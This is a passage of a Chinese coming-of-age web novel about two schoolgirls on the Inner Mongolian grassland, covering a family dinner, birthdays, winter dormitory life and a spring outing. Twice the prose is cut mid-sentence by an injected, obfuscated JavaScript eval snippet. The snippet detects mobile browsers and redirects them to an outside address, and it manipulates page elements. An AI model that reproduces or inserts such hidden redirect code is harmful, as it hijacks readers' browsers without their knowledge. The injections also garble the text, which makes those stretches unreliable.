她做事很细致,一上心就变得很投入。整理着,整理着,竟然都没听到有脚步声往上走,等脚步声在门口停下好一会,戴琴才后知后觉抬眸,看向了房门外,顿时吃了一惊。 不知何时起,面前站了一个小女孩。女孩身高大概在一米五六左右,穿着颜色鲜亮的蓝色袄子,系着红领巾。她的面庞圆润,除了一双小鹿眼与敖小陆有几分相似,五官比对方要柔和很多,一张小脸红扑扑的。 戴琴有些手足无措,强自镇定后主动开了口:“你好……” 戴琴话音落下,小孩迅速涨红了一张脸,背着书包转身就走,吭哧吭哧地进了隔壁房间,“砰”地一声关上了门。 关门声挺大的,吓了戴琴一跳。 她是家中老小,并没有和比自己年纪小很多的孩子相处过,也不懂这个年纪的孩子在想什么。难不成……是因为自己在敖小陆的房间收拾东西,被她讨厌了吧? 隔壁的房门一直没开,戴琴忧心忡忡。这时敖小陆洗完澡上来了,看到自己比之前干净不少的地板,夸张地“哇”了一声。 她用毛巾擦着头发,踩着拖鞋进到自己的房间,环顾一周,惊叹道:“你好厉害啊。” 戴琴被她夸得有些不好意思:“只是收拢了一下你的书,没什么好厉害的。” “已经很厉害了,我自己收的话,不一定能做得比你好呢。”敖小陆夸赞了一句,将毛巾搭在自己肩上,推着戴琴的身体往外走:“走,先不管房间了,下楼洗澡吧。” “我妈在做饭呢,洗完澡就能吃饭了。” 戴琴并没有在这里洗澡的打算,这年头无论是煤炭还是木头,都挺贵的,她不想麻烦敖小陆。于是被推着往前走的时候,她挣扎道:“不用了吧,我一会回学校再……” “别客气,别客气。”敖小陆乐呵呵的,落在戴琴肩头的手很有力道,将她轻而易举地推了出去,“水我都给你打好了,衣服和毛巾也放在里面,你直接进去洗就好了。” “可是……” 戴琴你的反抗微不可计,就这么被敖小陆推下楼。 敖小陆的冲澡房就在厨房里头,进去的时候碰到阿尔丽正在炒菜。她听到两个小姑娘在争执,扭头往厨房门口一看,一眼就看到那个文秀漂亮的姑娘,“嚯”了一声:“这就是戴琴吧,好俊的姑娘啊。” 阿尔丽是个裁缝,嘴巴和手一样巧,方圆十里全都是她的顾客。 她不仅手巧,模样也很漂亮。和这个年轻大多数丰腴粗笨的妇女不同,她的腰肢要纤细很多,此刻穿着好看的碎花裙子,漆黑浓密的头盘在后脑勺,用红色的丝巾绑了个精巧的蝴蝶结,时尚大方还很靓丽。 戴琴害羞地红了脸,轻声喊了一声:“阿姨好。” “哎!”阿尔丽很高兴地应了,指着冲澡房很是豪爽道,“你先去洗澡啊,洗完澡就开饭了。” 戴琴可以拒绝敖小陆,却缺乏拒绝长辈的经验。她只好红着脸点点头:“麻烦阿姨了。”之后在敖小陆的千叮咛万嘱咐之下,进了冲澡房。 同样是烧木材,敖小陆家的冲澡房却便利很多,已经相当接近现代农村住房的布局,将浴室和厕所结合在了一起。 因为搭建在厨房里,内里很暗,不过拉亮白炽灯后亮了许多。凉水是用水管接进去的,拧开水龙头后就能用。 戴琴试了试冷水得水龙头,再去翻开门板用布袋子挂着的衣服,发现几乎都是新的,一时间有些惊讶。 她想了想,俯身探了探水龙头下木桶里的热水温度,这才小心地拧开水龙头,开始放冷水。 细细的水声里,她深吸一口气,才将手放在自己外衣的扣子上,慢条斯理解了起来。以前她也在亲戚家洗过澡,但都觉得稀疏平常,可不知道为什么,这一次她却觉得心跳得厉害,整个人都如同藏在草丛里的兔子,生怕猎人发现自己那样紧张。 门板之外,敖小陆没有离开,在厨房里给妈妈烧火,一边烧火,一边和妈妈说话。 她的声音很清亮,比水管滴下的声音还要悦耳动听:“我和你说啊妈妈,今天我和小梅去参加骑马比赛了,你猜我得了第几名?” 阿尔丽翻炒着锅里的菜,笑眯眯的:“你让妈妈猜啊?那还用猜嘛,我们小梅那么厉害,肯定是第一名啊。” 敖小陆不满地抗议:“只有小梅厉害嘛,我也很厉害的!” “呵呵呵……” 浓郁的菜香隔着薄薄的门板传了过来,陌生的环境里,戴琴听着敖小陆熟悉的声音,略微感到心安。 门外的两母女还在交流着运动会的事情,戴琴的衣物也脱了大半。正准备褪下最后一件衣物时,一道陌生的男声传了进来:“阿尔丽,我买了只烤鸭,你再热热……” 戴琴的手顿住了。她望着薄薄的门板,浑身冒起鸡皮疙瘩。 幸好敖小陆的声音及时插了进来:“知道了知道了,爸爸你快出去,厨房没有你的事。”她的脚步声往外走,将那道突如其来的声音,推了出去。 戴琴松了一口气。 敖小陆似乎拿了烤鸭回来,嘟囔道:“我说刚才爸爸怎么不在家,原来去买烤鸭了。” 阿尔丽就笑:“你难得带朋友到家里来,你爸爸很开心的。” “是吗?”敖小陆将话题转回来,继续谈她的运动会去了。 接下来的一段时间里,再没有人进来,戴琴高度紧绷的神经得以放松,舒舒服服地洗了一个热水澡。 只不过换衣服的时候,她还是没有换上敖小陆为她准备好的衣服,穿着自己的旧衣服,一身水汽地出来了。 门一打开,敖小陆和阿尔丽齐齐朝她看去。在戴琴不知所措的眼神里,阿尔丽一铲子铲向锅里,将最后一铲鸭肉舀到盘子里:“开饭” 于是刚洗完澡的戴琴,又被敖小陆牵着坐在桌位上准备开始吃晚餐。 和戴琴家一样,敖小陆家也是一张八仙桌。只不过桌子更加新,整张桌子都漆了油,桌面铺上了蓝底雏菊花样的白边方正桌布,看起来就很讲究。 比桌布更讲究的,是她们家的餐具,从餐盘到碗碟,无一不是木做的。烤鸭,红烧鱼,红烧茄子,萝卜羊排,烧羊肉等八个菜,满满地摆了一桌。 戴琴很惊讶,看了敖小陆一眼。敖小陆却戳着碗碟,很得意地和她说:“这都是我做的,厉害吧!” 臭屁死了。 戴琴下意识想损她两句,可一想到这是在她家,点了点头:“嗯嗯嗯,厉害。” 她应得敷衍,这时在二楼见过的那个小妹妹捧着两碗饭放在她们这一排,飞快地瞄了眼戴琴,小小声道:“姐姐吃饭。” 戴琴惊讶地朝她看去,小妹妹已经拿着碗转身,继续盛饭去了。 敖小陆笑眯眯地看着她的背影,和戴琴介绍:“这是我妹妹,叫做小羊,今年上小学六年级。” 敖小陆……敖小河……戴琴回眸,笑得勉强:“你们家取名还挺……” “嗯?” 戴琴憋了好一会,才憋出好一句话:“挺有意思的。” “嘿嘿……”敖小陆笑了起来,煞有介事道,“你难道没有听过一句老话吗?名字越简单,娃娃越好养。” “受教了,我现在听过了。” 她们两人在斗嘴,对面的阿尔丽就笑眯眯地看着她们。等敖小河给全家盛好饭,阿尔丽才宣布开饭。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240093|197689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 敖家没有食不言寝不语的习惯,饭桌上老多话了。 尤其是敖小陆,叭叭叭说了一堆,说戴琴是她们班的英语课代表,普通话说得好,广播站和学生会的人抢着要。 还说她学习成绩很好,每一门考试,几乎都是班上第一。 她把戴琴夸得天上有地上无,夸得人家非常不好意思。阿尔丽听了特别上心,一边给戴琴夹菜,一边夸赞道:“好厉害的娃娃咧。” 她这么说着,还不忘套上了天下所有父母的通用模板:“小鹿的成绩就不是很好,她不太擅长这个,你要是有时间,可要多帮帮她。” 戴琴只好红着脸说:“一定一定……” 这顿饭吃得戴琴很撑,下了饭桌之后,她跟着阿尔丽和敖小河一起,将碗筷收进了厨房。 阿尔丽连忙阻止了她:“不用不用,你是客人……”绕是如此,戴琴还是端着碗筷进去,和敖小河一起把碗筷洗了。 吃完晚饭之后,总算到了今天的正题:给小梅过生日。 说是过生日,敖小陆还真的带着戴琴前往马棚,和敖小河一起给小梅唱了首生日歌。 戴琴这辈子也没唱过几次生日歌,更不要说给马唱了。她实在是唱不出口,只能站在敖小陆和敖小河旁边鼓掌打节拍。 敖小陆看到她这副窘迫的样子,得意得哈哈大笑。要不是顾忌小梅还在,戴琴真想拧她两下。 唱完生日歌之后,敖父敖虎和敖小河抱着一顿新割的鲜草走进马棚,嗅到青草味道的小梅高兴得摇头晃脑,甩着尾巴,前后跳动,活似在跳舞。 要知道,通常八月底开始,牧人就开始收割草场,垒成草垛,作为牛羊和马儿秋冬的干粮。很多时候,一直到开春三四月份,它们才能食用鲜草。 此时能吃到青草,对于小马来说,就相当于物质贫瘠的家庭长大的孩子,尝到一年一度的生日蛋糕。 小马兴奋得嗷嗷叫,一个劲地去拱敖小陆,和粘人的小狗差不多。 敖小陆摸着它的脑袋,被它拱得一直瑟缩着肩膀躲:“好了好了……我要去上学了,再不走就要迟到了!” “你乖乖的,我下周放学就回来看你啊。” 敖小陆好一阵安抚,总算让小梅消停了。她和戴琴出门的时候,已是暮色四合时分。太阳已经落下有二十多分钟了,整个天空灰蓝灰蓝的,空气里泛着冷冽的蓝色,好似蜂窝煤烧出来的蓝色焰火,冷冷清清。 两人脚步轻快地迈过桥,潺潺河水声远去,饭香与烟火气从四面八方围拢而来,在深秋的傍晚熏出一丝暖意。 敖小陆蹦蹦跳跳地走在戴琴身边,高高兴兴道:“感谢你今天来给小梅过生日,它今晚过得很开心。” 戴琴看着她脸上的笑,心里止不住在想,哪里是小梅开心,我看是你开心吧。 不过她没说,她怕戳破了这件事,敖小陆更得意。于是她点点头,说了一声:“嗯。” 敖小陆笑笑,面对着戴琴倒着走,放缓了声音:“那你生日又是什么时候啊?等你生日的时候,我和小梅一起给你过吧。” “就当……感谢你这次给小梅过生日。” 戴琴脚步一顿,抬眸对上了敖小陆的视线。在这样灰色的清冷蓝调里,她那双黑眸好似秋天的潭水,又深又沉。 戴琴哪里听不出她的意思,淡淡扫了她一眼,假装随意地经过她身旁:“不要。小梅给我过生日有什么好,它也只会送我草。” 敖小陆连忙转身跟了上去,略显几分急切:“这不是还有我嘛,我又不会送你草,我请你吃蛋糕。” 戴琴微微勾起了唇角,背着手翘了起来,但语气还是淡淡的:“”也不要,我又不爱吃蛋糕。” 敖小陆追着问:“那你说,你喜欢吃什么,我送你。” “嗯……”戴琴想了想,“没想好……” 敖小陆:“那你想好记得和我说。” 戴琴轻哼了一声,故意逗她:“到时候再说吧。” 她们就这件事拉扯了几天,几天过后,一次偶然的机会,敖小陆还是知道了戴琴的生日。 16. 我最好的朋友 说来也巧,那天是星期三,第二节课间操全体学生,都要到楼下去跑操。敖小陆因为上厕所耽搁了点时间,出来的时候,班级里的学生几乎已经全部走光了。 她拿着手帕一边擦着手,一边经过经过人烟稀少的走廊时,恰好看到一个穿着褐色袍子的高个子男生,站在她们教室后门,两手揣在兜里,探头探脑,东张西望,鬼鬼祟祟的。 敖小陆直觉不对,立马呵斥一声:“你干什么呢!” 那男生被她吓了一跳,扭头看了眼敖小陆,涨红了一张脸,飞快地掀开戴琴的桌筒,把藏在袖子里的东西丢了进去,拔腿就跑。 还没等敖小陆反应过来,他就一溜烟跑下楼,整个人都跑没影了。 敖小陆连忙窜到走廊旁,趴在栏杆上往下看,人潮汹涌里,那个穿着褐色袍子的男生抡着两条飞毛腿,横冲直撞地跑入人群,没一会就没入操场的人群。 敖小陆轻啧一声,摇了摇头,转身走到戴琴的桌位,掀开她的桌筒,在她那一排井然有序的课本里,看到了那个异样突出的小礼盒。 敖小陆拿起小礼盒,放在掌心翻转一周,仔细端详了一番,在礼盒的缎带上看到了类似于“happy birthday”的字样。她挑起眉毛,轻啧一声,将这个礼盒放了回去,装作无事发生转身下楼。 果不其然,课间跑操结束之后,戴琴回到教室,掀开桌筒去拿第三节生物课课本的时候,目光停在里头微微停滞了一瞬。 敖小陆注意到了她的停顿,微微扬起唇角,若无其事地将自己课本抽出来,翻开摊在桌面上。 戴琴停顿片刻,也如同她一般合起桌筒,把课本拿出来翻开,“你下来的时候,有没有看到有人动我的书桌?” 敖小陆故作思索:“好像看到了。”她转过头,看向戴琴,神情关切,“你是丢了东西吗?要不要告诉老师?” “不用。”戴琴立即开口,有种果决到慌乱的感觉。似乎觉得自己反应过大,她又皱了皱眉,“没什么事,上课吧。” 敖小陆又开始挑她那两根只能一起抬起来的眉毛,还意味深长道::“哦……” 当天中午,戴琴问询了跑操迟到的同学,都没有问到究竟是谁在她桌筒里放置了这么一个小礼盒。小小的礼盒如同一颗定时炸弹躺在她的桌筒里,令她坐立难安。 周三的晚读课,恰好是英语。作为英语课代表,今晚她要领读。若是往常还好,偏偏是今天,又一次在这种奇怪的日子让她登台领读,被众人围观。 过往的不愉快,以及那种被围猎产生的惧怕以及焦灼的心情,在晚读课开始前的一分钟,抵达了巅峰。她握着自己的课本,端坐在桌位上,望着课本上密密麻麻的笔记,于寒冷的深秋夜色中,额头上沁出了冷汗。 “铃铃铃……”上课铃声骤然响起,惊得戴琴吓了一跳,条件反射地站了起来。 就在这时,如同往常一般,敖小陆踩着点从教室后门走了进来,背着书包气喘吁吁地坐下。她一边喘气,一边去翻自己的书包:“要死要死,差点迟到,跑死我了!” 戴琴垂眸看着她,看她翻开书包掏出保温杯,仰头咕咚咕咚喝了一大杯水。 萦绕在戴琴心头那种那种紧张和恐惧的感觉都被带偏了,只剩下无语:“你……” 她也不知道说什么好,只叹了口气,抬手用书敲了敲敖小陆的头:“把英语书拿出来,开始晚读了。” 戴琴嘱咐了两句,拿着课本动身走向讲台,准备开始领读。经过敖小陆身旁时,对方忽而伸手,一把将她拽住了:“等下。” 戴琴停下脚步,偏头看她,满眼不解。敖小陆一边拽着她的袖子,一边将手伸进书包掏啊掏,从里面掏出一顶帽子,迅速起身,“啪”地一下精准地盖在戴琴头上。 脑袋上传来一种柔软的桎梏感,戴琴垂眸,看着重新坐下的敖小陆眼里都是疑惑。 敖小陆单手撑在桌面上,仰头望着她,笑眯眯的:“生日快乐!”她挥了挥手,不甚在意,“好了,去吧,你去领读吧。” 那原本是敖小陆的母亲阿尔丽给敖小陆的升学礼物,却因为朋友之间的爱,落在了戴琴的头顶。这是戴琴第一次从朋友那里得到的第一份礼物,一顶用柔软的白狐皮费心编织的帽子。 有那么一瞬间,戴琴觉得藏在桌洞里的那枚炸弹,被剪断了线。有它,没它,似乎也没有那么重要了。 提起这些过往,戴琴的神情很柔软,神情一直含着笑。窗外的日头偏西,吹进来的风也减小了热力,变得凉爽起来。我们乘坐在凉风里,听戴琴轻声慢语,将后续的故事继续讲述下去。 因为这个礼物,戴琴自然而然就猜到敖小陆看到了放在自己桌洞里的小盒子。晚读结束后,她趁着课间时分一把拉住敖小陆的手臂,询问她究竟有没有看到是谁放的礼物。 敖小陆这回老实了:“看到了,但你知道又能怎么办呢?” 戴琴面无表情地回答:“还回去。” “还回去?还回去不是更麻烦吗?送这个东西的,是个男孩。” 谁知戴琴定定看着她,一脸的理所当然:“我知道,所以你去还。” 她说得再理直气壮不过了,敖小陆一时哑然,好一会才抬手指着自己,很无语道:“那是你的事情,我为什么要帮你去做?” 戴琴顶着头上的帽子,轻描淡写地扫了她一眼:“我们不是朋友吗?你看到朋友有难你不阻止,难道不应该善后吗?” 听起来好像是这么一回事,但仔细一想,完全就是一些歪理邪说。偏生敖小陆惯着她,想了想自觉理亏,应道:“行,我善后。” 有她这句话,戴琴在吵吵嚷嚷的课间间隙,着急忙慌地把桌洞里的烫手山芋取出来,丢到敖小陆怀里。敖小陆接过礼物,坏心眼地指了指:“好歹是一片心意,要不要拆开看看?” 戴琴瞪了她一眼,她连忙举手投降:“好好好,我不拆,我不拆。” 看在戴琴今天生日的面子上,敖小陆将责任揽了过来,开始按照戴琴给的线索挨个排查。男孩名叫吉尔各勒,是和戴琴从一个初中升上来的蒙古族小伙,目前在六班。摸清情况之后,在第二天课间操的时候,敖小陆将礼物原封不动地送回去了。 她还就还了,回来之后,还多嘴提了一句:“吉尔各勒还挺俊的……呜呜呜呜呜呜……” 话说到一半,就被戴琴捂住了嘴。敖小陆瞪大了眼,看到戴琴涨红着脸,一脸愠怒地瞪着她,咬牙切齿道:“你闭嘴!” 声音很低,但愤怒一点也不小,吓得敖小陆眨巴眨巴眼,好一会都回不了神。 过了好一会戴琴才松开她的嘴巴,将自己的情绪压下去,低低开口:“你以后,不要再说这件事。” 往常戴琴的气性也很大,但敖小陆都不太害怕这种感觉。唯独这一次,她感觉到戴琴身上那种尖锐且凶狠的攻击性。如同一只被踩了尾巴的猫,张牙舞爪不分敌我地将眼前看到的事物挠了个稀巴烂。 这次之后,敖小陆和戴琴很默契地再也不提吉尔各勒的事。 戴琴的生日过后,气温是一日比一日冷。与之相反的,是两人的关系越发好起来。随着最后一片银杏叶落地,西伯利亚的冷风呼呼吹了一夜,九曲河市迎来了第一场雪。 这也正式宣告,戴琴最讨厌的草原冬季开始了。 于所有的草原孩子而言,冬季是一年四季里,最为严酷残忍的。 它不像春天,冬雪初化,春水融融,万物生长,处处可以捡到能食用的蘑菇与野菜。也不像夏天,水草丰沛,牛羊生长,纵使很多蛇蚁蚊虫,却肥沃万物。更不像秋天,万物丰收,秋草回笼,即便太阳酷晒灼热,却留下了足够应对冬天的粮食。 而冬天,带来的只有风雪与消亡。是父亲外出时稍稍不注意,就被吹裂的肌肤。是母亲那泡在无法消融的冰雪中搓衣冷得满是冻疮的手。是身上单薄的衣物无法抵御严寒时的战栗,是骤然低温一夜在棚里冻死的牛羊。 每一个感受过冬天严酷的草原孩子,都会本能地憎恶这个拥有死神之力的季节。但就是在这样令人不愉快的季节,也有人能乐在其中。 敖小陆就是其中之一。 似乎无论在什么样的境地里,她都能找到好玩的东西。比如落雪的时节,学校要求高一的学生们分区扫雪。她就带着全班同学,将扫来的雪堆在一起,堆成一个大雪人。一开始只有她们班这么干,后来越来越多的班级加入进来,学校里被她们堆得到处都是雪人。 雪人堆腻了,她就带着人打雪仗,每次都在课间打。戴琴揣着她的暖水壶,站在走廊往下看,见她穿着金黄色的袄子,戴着那顶狍子帽,穿梭在白色的雪球里,灵活地像只驯鹿。 后来不知怎么地,打着打着打到了教导处主任头上,然后被一声爆呵,从此丧失了此项活动举办权。 但天太冷了,只是用报纸糊住窗户,冷风仍旧会呼呼地灌进来。光坐不动,还是无法让身体热起来。 雪球是不能打了,为了取暖,敖小陆想了个馊主意,让全班女生一个抱一个,最后抱成一个圈,圈成响尾蛇。 这样感觉还不错,敖小陆甚至拉了戴琴入伙。但戴琴试过一次,被一群女孩子的气息挤扁之后,果断拒绝了。 不过这样光抱着,也还是很冷。敖小陆就带着大家玩小羊跳,不跳还好,跳起来整个班地动山摇,又一次被教导主任抓了个正着:“敖小陆,又是你!” 这回教导主任可没有那么轻易放过她,把她揪到办公室训斥一通,这才把人放回来。敖小陆的行为也总算收敛了点,从最闹腾的小羊跳,回到了初始的叠叠乐。 眼见着天气越来越冷,有一天早晨起来,学生们忽然发现水管被彻底冻住了,一滴水也滴不下来,这才明白一年之中最寒冷的时节终于来了。 这种时候,只有供暖的寝室是暖的。学生们下了晚自习,顶着寒风跑回宿舍楼,到了寝室连洗漱都懒得洗,脱了鞋袜外套就往被窝里钻。 绕是如此,在室外零下十几度的气温围剿下,宿舍楼的暖气消散得七零八落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240094|197689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只能如同寒风里的余炭,散发着淡淡的暖意。入夜之后学生梦尽可能蜷缩着身体,猫成一团,拥紧一切能取暖的东西取暖。 这些年轻的孩子睡在不够暖的暖气里,如同睡在一个四处漏风的窝里。于是越睡越冷,越睡越冷,每每到凌晨,就会被冻醒。 像戴琴这种身体孱弱的孩子更是如此,自入冬以来,她从未一觉睡到天亮。几乎每天晚上,都会在寒冷中惊醒,发现自己手脚冰凉。因此每天晚上入睡前,她都不得不在被窝里铺好自己毛衣,在被子上盖好自己外套。 即使是这样,她还是没有成功阻止冷空气的侵袭。在入冬之后的第二周感冒,然后断断续续地咳了好一阵子。 不过也并非她一人受冷,随着天气越来越冻,寝室里的其他女孩子,不顾学校的规定,开始成双结对,将两个人的铺盖合成一床,睡进一个床铺,靠着两人的体温共同抵御寒冷。 戴琴在初中的时候就见识过这种两头小羔羊报团取暖的行为,对此非常不屑一顾。但不得不说的是,报团取暖很有成效,不到短短一周,整个303寝室就按照亲密程度划分,形成了四队。只余下戴琴,还有几个家境比较好的孩子,坚守着自己的阵地。 依稀记得有一天夜里特别的冷,冷到戴琴一手抱着暖水袋瑟缩着,另一手握笔写数学题,都感觉自己手指要冻僵了。她冷得要命,写个五分钟就换另外一只手,继续演算。 写着写着,不知道怎么地,她转过头看向身边的敖小陆。却发现她两手揣进袖子里,跟个老大爷似的抱着热水袋,拧着眉头专心致志地看摆在面前的书。 戴琴扫了一眼,依稀看到什么杨过小龙女字眼,想了想应该是敖小陆最近提过的《神雕侠侣》。 又是一本武侠小说,不务正业。 戴琴皱着眉想,恰好这时敖小陆看完了一页,要翻页,于是戴琴就看到敖小陆低头将下巴压在书页右下角上,费力地往上一蹭,蹭出一页纸起来,这才歪着左脸将书页压下去。 整个过程行云流水,一气呵成。 戴琴:…… 戴琴看着她那专心致志的神情,心想还是算了。别管了,没救了,自己努力去吧。 她断断续续地写了一晚上,总算熬到了晚自习下课。下课铃声响起,整座教学楼都变得喧闹起来。敖小陆伸出拢在袖子里的手,抻了个懒腰:“啊……” 她活动活动筋骨,转身朝戴琴道:“将热水壶打满再回去?” 戴琴点点头,目光还停留在数学试卷上:“等会吧,现在人太多了。” “行吧。”敖小陆也不着急,想了想又翻了一页书,继续看了起来。 教室前门这时传来一声呼唤:“小陆!” 敖小陆抬头朝对方看去,但见陈月好拿着热水壶,伸手指了指宿舍楼的方向:“我先回去,把被子铺你那里还是我那里?” 原本在看试卷的戴琴听到这句话,猝然抬眸看向身侧的敖小陆。 敖小陆一无所觉:“你想怎么铺就怎么铺吧。” 陈月好便道:“那就铺我这里啦。” “嗯嗯。”敖小陆应得敷衍,趁着时间,继续沉迷小说去了。 很快教学楼人去楼空,她和戴琴趁着人少,打了两壶热水回去。路上,白雪在路灯下飘飘而落,静默又喧嚣。 静默的是落雪,喧嚣的是狂风。嘶吼的北风里,敖小陆拎着两壶水,挡在风前,喋喋不休地和戴琴说着自己最近在看的小说:“哇,你不知道,杨过好离经叛道啊。” “他和她师父一起击退金轮法王之后,在英雄大会庆功宴上,和郭伯伯说:‘我就是要娶姑姑做我的妻子!’” “小龙女是他师父唉!老师和学生,师生恋,是不是很厉害……” 此时学生们都回到了远处的宿舍楼,年轻人热烈的交谈声,匆忙的脚步声,隔了一层风雪穿过来,听着很不真切。 戴琴有些心不在焉,她点了点头:“嗯……” 敖小陆还在叽里哇啦地讲七讲八,戴琴敷衍地“嗯嗯嗯”,快到三楼的时候,戴琴才问了一句:“你今晚和陈月好一起睡吗?” 敖小陆一怔,愣了半晌才眨眨眼:“对啊,怎么了?” 她有些莫名,戴琴将手搭在楼梯扶手上,一步一步往上走:“没什么。” 语气淡淡的,敖小陆直觉不对,但又说不上个所以然来。她跟上了戴琴脚步,和她一起走上了三楼。分开的时候,她将戴琴的水壶递了过去。戴琴接过水壶,转过头看她,又问了一句:“她是你最好的朋友啊?” “啊?” 还没等敖小陆反应过来,戴琴拎着自己的水壶走了。 她问得随意,也没有想得到什么答案。只是那天晚上,临熄灯之前,敖小陆抱着一床被子将戴琴堵在303的宿舍门口。 戴琴抬眸望着她,不说话。敖小陆也望着她,不说话,只是笑。笑着笑着,戴琴就侧身让她走进来了。 从那天起,她们达成了默契:戴琴是敖小陆最好的朋友。 17. 女人又是什么? 一开始,她们还只是并肩平躺着,只是后来戴琴实在是太冷了,不适应地动了一下,就被敖小陆揽入怀中。她揽人实在是太熟练了,抱小孩似的,拦腰抱住,再用双腿夹住你的腿,整个裹在怀里。 戴琴除了小时候在母亲怀里被这么抱过,长大后还是第一次被这么抱,就和老母鸡孵鸡仔差不多。 戴琴特别不适应,想推开她。却被她拍了拍背,凑到耳边小小声说:“小羊的脚丫子和你一样冻,过会就好了……” 戴琴这才松懈下来,缩回敖小陆怀里和她挨在一起。 敖小陆很爱干净,即使是冬天,身上也有很好闻的香味,也不知道是香皂的味道,还是她用来擦手的雪花膏……戴琴人被她裹得暖烘烘的,又嗅着好闻的香味,很快就睡了过去。 高一的最后半个月,戴琴几乎每一个晚上都是和敖小陆一起渡过的。 严冬里的温暖,似乎融化掉了少女心中堆砌十几年的坚冰。依恋与柔情在友情的催化下,化为藤蔓缔结了两颗少女羞怯的心,将她们亲密无间地链接在一起,重新构建出一个独属于她们的隐秘世界。以至于期末考试结束,寒假来临时,两人在校门口分别,还有些依依不舍的味道。 但一回到家,抛开了沉重的校园学业与短暂的甜蜜友情,投身于文学的世界里。她那远在呼和浩特市上大学的哥哥戴弦,在她生日的时候寄回来了一套《安娜卡列尼娜》。一整个寒假,她都躺在烧得闷热的炕上,沉浸在呼啸的北风中,思绪飘到了一个世纪之前的莫斯科。 尤其是读到安娜与伏伦斯基在车厢里相遇,伏伦斯基短促一瞥,发现安娜身上有一种被压抑着的生气,从她那双亮晶晶的眼睛和笑吟吟的樱唇掠过,仿佛她身上洋溢着过剩的青春,不由自主地忽而从眼睛的闪光里,忽而从微笑中透露出来。 在这一刹那,戴琴似乎也看到了一个被套在贵族框架里的淑女人偶,在灯光打在她死寂僵硬的眼睛里时,在众人看不到的角落里转动着不找痕迹的光。 戴琴的心一下就热了起来,如此废寝忘食地读了两天,总算读完了第一遍。安娜身上透出来的纯粹,决然以及充满悲剧性的气质,令戴琴深深着迷。读完之后,她怅然若失,生平第一次升起了倾诉的欲望,并想要是敖小陆在就好了。 这个念头刚升起,戴琴就对此感到惊讶:自己为什么要和敖小陆说? 什么时候起,敖小陆竟然能成为她的倾诉对象了? 她想了想,不知怎么地又说服了自己:朋友之间互相分享,也很正常的吧。很快她就将这件小事抛在脑后,拿起自己还没读透的书,重头读了起来。 戴琴把《安娜卡列尼娜》读到第五遍,春节来了。这一年春节,姐姐戴丝又诞下一女,未能回家过年。而哥哥戴弦则在呼和浩特找了份家教工作,赚取生活费,同样未能回家。因此家中只有戴琴与父母两人,过了一个异常清冷的除夕。 鞭炮噼里啪啦响几天后,高一的寒假就这么草草过去,正式迎来了高一下学期。 开学的时候,眼尖的戴琴就发现班上的同学胖了不少。尤其是陆绵绵这种身形娇小玲珑的姑娘,一张圆脸在帽子的包裹下,显得肉嘟嘟的。 当然她自己也胖了点,因为敖小陆一见到她就“豁”了一声,阴阳怪气的:“你这放个假是啃了几头牛还是几头羊啊,结实了不少嘛。” 提到这里的时候,戴琴微微蹙眉,以一种很嗔怪的语气道:“她可讨厌了,说话就说话,还往人手臂和腰上掐。” 我忍不住“噗嗤”笑了出来:“的确。”没有人不爱美,尤其是那时候的女孩子,被人说结实是挺讨厌的。 我顺着戴琴的话往下问:“那她呢?吃胖了嘛?” “她那么能折腾,怎么会吃胖。”戴琴损了一句,接下来和我说了些敖小陆寒假都做了些什么事。 漫长的假期未见,刚一开学,敖小陆对着戴琴就有数不完的话。她拉着戴琴絮絮叨叨,说了很多自己寒假的事。说她假期的时候,跟着爸妈回了松山林的姥姥家。松林山有山有河,一到了放晴的日子,她都跟随自己的舅舅去打猎,挖洞钓鱼。 “松林山的风雪那么大,她的手指冻得跟红萝卜似的。我本来想损她两句,可看到她这么开心的样子,又满手的伤,就有些不忍心。” 戴琴顿了顿,继续道:“我就和她说了句,‘唉……那你玩得挺开心得嘛。’” 那是一种模仿出来的很羡慕的语气,从四十多岁的戴琴口中说出来,仍旧能让人窥见当时不过十七岁的少女,轻轻开口会掀起多少惊涛骇浪。 果不其然,敖小陆上当了。她缄默一会,良久才开口道:“下次,下次我带你去玩吧。” 戴琴也没说好,也没说不好,过不了多久,冰雪初化的时节,在某一个周日的早上,敖小陆牵着小梅来到宿舍楼下,两手放在唇边拢成喇叭状:“戴琴!下来!快下来!” 一大清早闹得厉害,惊得戴琴放下书匆匆从楼上下来,打定主意见到她就要劈头盖脸地一顿数落。谁知两人刚打一个照面,敖小陆牵着马,依靠在冒出嫩芽的白桦树下笑吟吟地望着她:“走,带你玩去。” 她来得突然,戴琴还来不及拒绝,就被她逮着推上马。两人就这么共乘一骑,骑着小马哒哒哒地走出了城郊。 彼时冬雪未消,春意却渐浓。两人骑在马上,远远就看到一片嫩绿倒映在盛满蓝白天光的荒野水泽上,满是生机勃勃。 戴琴骑在马上,望着远处喧嚣的春色,难得起了几分好奇:“你带我来这里做什么?” 敖小陆应得理所当然:“捡菌子啊。” 戴琴恍然,是了,这个季节来捡蘑菇,实在是再合适不过了。 靠近水泽后,敖小陆背着背篓,踩着雨靴下了马,一脚踩了下去。原本清澈的水泽顿时起了浑浊,她一边牵着马,一边避开若有似无的小嫩草,深一脚浅一脚地往前走。 戴琴骑在马背,两手牢牢抓在马鞍上,身躯跟着小马颠簸在敖小陆,随着她驶入春日的草原。 很快,她们就来到了水草最丰盛的中心。在那里,四周堆积着牧民们冬日里未曾搜集的一坨又一坨的牛粪。而牛粪上面,冒着一丛丛白色褐色的牛屎菌。 